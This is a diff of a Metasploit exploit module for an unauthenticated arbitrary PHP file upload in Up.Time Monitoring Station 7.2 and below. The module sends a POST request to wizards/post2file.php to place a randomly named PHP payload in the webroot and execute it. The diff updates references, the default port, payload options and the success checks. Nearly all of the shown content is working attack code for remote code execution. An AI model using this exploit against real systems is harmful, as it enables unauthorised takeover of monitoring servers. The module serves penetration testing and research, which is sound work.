@@ -14,11 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Up.Time Monitoring post2file.php Arbitrary File Upload' ,
17
+ 'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload' ,
18
18
'Description' => %q{
19
- This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server
20
- 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading
21
- to arbitrary code execution.
19
+ This module exploits an arbitrary file upload vulnerability found within the Up.Time
20
+ monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
21
+ webroot without authentication, leading to arbitrary code execution.
22
22
} ,
23
23
'Author' =>
24
24
[
@@ -27,11 +27,14 @@ def initialize(info = {})
27
27
'License' => MSF_LICENSE ,
28
28
'References' =>
29
29
[
30
- [ 'URL' , 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
30
+ [ 'OSVDB' , '100423' ] ,
31
+ [ 'BID' , '64031' ] ,
32
+ [ 'URL' , 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
31
33
] ,
32
34
'Payload' =>
33
35
{
34
- 'BadChars' => "\x00 "
36
+ 'Space' => 10000 , # just a big enough number to fit any PHP payload
37
+ 'DisableNops' => true
35
38
} ,
36
39
'Platform' => 'php' ,
37
40
'Arch' => ARCH_PHP ,
@@ -42,7 +45,10 @@ def initialize(info = {})
42
45
'DefaultTarget' => 0 ,
43
46
'DisclosureDate' => 'Nov 19 2013' ) )
44
47
45
- register_options ( [ OptString . new ( 'TARGETURI' , [ true , 'The full URI path to the Up.Time instance' , '/' ] ) , ] , self . class )
48
+ register_options ( [
49
+ OptString . new ( 'TARGETURI' , [ true , 'The full URI path to the Up.Time instance' , '/' ] ) ,
50
+ Opt ::RPORT ( 9999 )
51
+ ] , self . class )
46
52
end
47
53
48
54
def check
@@ -53,7 +59,7 @@ def check
53
59
'uri' => normalize_uri ( uri , 'wizards' , 'post2file.php' )
54
60
} )
55
61
56
- if res and res . code == 200
62
+ if res and res . code == 500 and res . body . to_s =~ /<title>< \/ title>/
57
63
return Exploit ::CheckCode ::Appears
58
64
end
59
65
@@ -66,7 +72,7 @@ def exploit
66
72
uri = target_uri . path
67
73
68
74
@payload_name = "#{ rand_text_alpha ( 5 ) } .php"
69
- php_payload = get_write_exec_payload ( :unlink_self => true )
75
+ php_payload = get_write_exec_payload ( :unlink_self => true )
70
76
71
77
post_data = ( {
72
78
"file_name" => @payload_name ,
@@ -79,7 +85,8 @@ def exploit
79
85
'uri' => normalize_uri ( uri , 'wizards' , 'post2file.php' ) ,
80
86
'vars_post' => post_data ,
81
87
} )
82
- unless res and res . code == 200
88
+
89
+ unless res and res . code == 200 and res . body . to_s =~ /<title><\/ title>/
83
90
fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
84
91
end
85
92
0 commit comments